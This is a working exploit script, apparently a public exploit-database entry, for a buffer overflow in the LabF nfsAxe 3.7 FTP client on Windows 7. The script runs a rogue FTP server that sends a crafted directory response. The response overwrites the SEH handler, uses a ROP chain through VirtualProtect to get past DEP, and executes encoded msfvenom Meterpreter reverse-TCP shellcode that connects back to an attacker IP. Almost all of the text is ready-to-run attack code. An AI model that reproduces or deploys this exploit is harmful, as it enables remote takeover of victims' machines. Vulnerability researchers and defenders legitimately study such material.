LabF nfsAxe FTP Client 3.7 – Remote Buffer Overflow (DEP Bypass)
#!/usr/bin/env python # # Exploit Title : LabF nfsAxe 3.7 FTP Client (DEP Bypass) # Date : 12/8/2017 # Exploit Author : wetw0rk # Vendor Homepage : http://www.labf.com/nfsaxe/nfs-server.html # Software link : http://www.labf.com/download/nfsaxe.exe # Version : 3.7 # Tested on : Windows 7 (x86) # Description : Upon connection the victim is sent a specially crafted buffer # overwriting the SEH record, resulting in code execution. # # Greetz: abatchy17, mvrk, and Dillage (Dilly Dilly) # # Trigger the vulnerability by : # Login as -> [check] anonymous -> connect # import struct, socket host = "0.0.0.0" port = 21 # msfvenom LHOST=192.168.0.12 LPORT=34 -p windows/meterpreter/reverse_tcp # -f python -b "\x00\x0a\x10" -v shellcode --smallest shellcode = "" shellcode += "\x2b\xc9\x66\xb9\x18\x01\xe8\xff\xff\xff\xff\xc1" shellcode += "\x5e\x30\x4c\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05" shellcode += "\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f\x9b\x43" shellcode += "\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c" shellcode += "\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28" shellcode += "\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe" shellcode += "\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40" shellcode += "\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b" shellcode += "\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf" shellcode += "\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41" shellcode += "\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa" shellcode += "\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24" shellcode += "\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4" shellcode += "\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0\xcc\xc0\xfd" shellcode += "\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88" shellcode += "\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xc6\xa7" shellcode += "\xc6\x6f\x18\xb1\xbe\xdb\xb6\xb5\xb6\x95\x31\x5f" shellcode += "\xea\xeb\xec\xed\xfe\xef\x80\x91\xaa\x29\xcb\x1a" shellcode += "\x26\x38\x1d\x5e\xa0\xdb\x9a\x9a\xa6\x56\x75\xa5" shellcode += "\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31" shellcode += "\xb6\x2f\x55\x43\xb4\x1c\x31\x8f\xe6\x8d\xec\xbf" shellcode += "\xbd\x83\xee\x34\x26\xb0\x0f\x24\x79\xc5\x9e\xb5" shellcode += "\x9e\xf7\xe8\xf9\xfa\xad\x96\xfd\x96\xa7\xa4\x52" shellcode += "\xe7\xfc\xd1\x96\x55\x6d\x08\x5f\x59\x5c\x64\x0f" shellcode += "\xd7\xc7\x4f\xee\xc7\x12\xd7\x3c\xd0\x62\xf6\xda" def create_rop_chain(): # https://www.corelan.be/index.php/security/corelan-ropdb/ # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, # 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() rop_chain += "\x90" * 20 rop_chain += shellcode off2ROP = "B" * 212 # offset to the start of our ROP chain off2nSEH = "A" * (9391- ( # offset the nSEH and adjustments len(off2ROP) + len(rop_chain) # account for shellcode and offset ) ) nSEH = "BBBB" # SEH will be the start of the stack pivot SEH = struct.pack('<L', 0x68034468) # ADD ESP,61C # POP # POP # POP # POP # POP # RETN [WCMDPA10.dll] trigger = "C" * (10000 - ( # fill buffer to trigger vulnerability 9399 # offset + nSEH + SEH ) ) buffer = off2ROP + rop_chain + off2nSEH + nSEH + SEH + trigger payload = "220 %s is current directory\r\n" % (buffer) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((host, port)) sock.listen(20) print("[*] server listening on %s:%d") % (host, port) except: print("[-] failed to bind the server exiting...") exit() while True: conn, addr = sock.accept() print("[*] connection from %s:%d") % (addr[0], addr[1]) print("[+] sending %d bytes to target host" % (len(buffer))) conn.send('220 Welcome Serv-U FTP Server v6.0 for WinSock ready...\r\n') conn.recv(1024) conn.send('331 OK\r\n') conn.recv(1024) conn.send('230 OK\r\n') conn.recv(1024) conn.send(payload) |